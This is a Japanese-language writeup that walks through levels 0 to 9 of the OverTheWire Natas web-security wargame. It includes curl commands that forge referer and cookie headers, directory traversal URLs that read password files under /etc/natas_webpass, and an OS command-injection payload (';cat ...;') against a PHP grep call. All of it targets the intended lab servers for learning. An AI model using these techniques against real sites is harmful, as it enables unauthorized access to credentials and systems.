🕊️
[Level 0 ~ 9] OverTheWire Natas Writeup
はじめに
サイト
環境
Level0~7
- macOS
- Intelチップ
- Chrome バージョン: 129.0.6668.90(Official Build) (x86_64)
Level8~ - macOS
- Appleチップ
- バージョン 137.0.7151.104(Official Build) (arm64)
Tips
macOS 使いは,パスワードをコピーした度に,下記のコマンドをローカルで実行すると,良い感じにパスワードが保存できてタイヘンヨーイ
pbpaste >> password && echo "" >> password && cat -n password
ルール
Level0
-
http://natas0.natas.labs.overthewire.org
にアクセスして,ユーザー名:natas0
とパスワード:natas0
を指定する. -
F12
or⌘+⌥+i
でDevTools
を開く. - コメントに
<パスワード>
が書いてある.
→Level1
-
Level0
と一緒の解法. -
Level0
では右クリックして,検証
をクリックすることを想定されたのか?
→Level2
-
files/pixel.png
をダウンロードしても特に何もない. -
files/
にアクセスすると,users.txt
が存在していることがわかる.
→Level3
-
DevTools
を見ても特に何もない.Google
ですらわからねえんだったら,クローリングで使われているrobots.txt
をみるか. -
http://natas3.natas.labs.overthewire.org/robots.txt
にアクセスすると以下が得られる.
User-agent: *
Disallow: /s3cr3t/
-
http://natas3.natas.labs.overthewire.org/s3cr3t/
にアクセスするとusers.txt
にさらにアクセスすれば良いことがわかる. - よって,
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
をアクセスするとフラグが得られる.
→Level4
- アクセスすると,
http://natas5.natas.labs.overthewire.org/
から飛んで来いと言われたので,以下のコマンドで実現する.
$ curl --referer http://natas5.natas.labs.overthewire.org/ -u natas4:<パスワード> http://natas4.natas.labs.overthewire.org
→Level5
- どうやら,一見さんお断りらしい.
-
DevTools
->Application
->Cookies
を見ると,loggedin
が0
になっているので,これを1
にしてリロードすれば良さそう.
- 別解として,以下のように,
curl
コマンドの-v
オプションで,Set-Cookie
を確認し,その項目(loggedin
)を-b
で指定してもいける.
$ curl -v -u natas5:<パスワード> http://natas5.natas.labs.overthewire.org
$ curl -b "loggedin=1" -u natas5:<パスワード> http://natas5.natas.labs.overthewire.org
→Level6
- とりあえず,
View sourcecode
をクリックしてみると,以下のスクリプトが閲覧できる.
~~~省略~~~
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
~~~省略~~~
- おそらく,
http://natas6.natas.labs.overthewire.org/includes/secret.inc
にアクセスすれば,$secret
が得られそう. - そして,その内容を送信すればOK
→Level7
-
Home
とかAbout
に移動するときはクエリパラメータにその情報を渡しているようだ. - ディレクトリトラバーサル攻撃を試みれば良さそう.以下のいずれかにアクセスすると答えが得られる.
相対パス
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8
絶対パス
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
- ソースコードにヒントが書いてあるように,今作のパスワードは一般的に
/etc/natas_webpass/natas<レベル>
に格納されていそう.
→Level8
- 逆向きにデコードすれば良い。
ソースコードの中身
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
デコードコマンド
<$encodedSecret> | xxd -r -p | rev | base64 -d
→Level9
- ソースコード上にOSコマンドを直書きしてる!!
- OSコマンドインジェクションってやつかな?
けしからんソースコード
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
パスワード取得コマンド
;cat /etc/natas_webpass/natas10;
おわりに
参考文献
筆者について
Discussion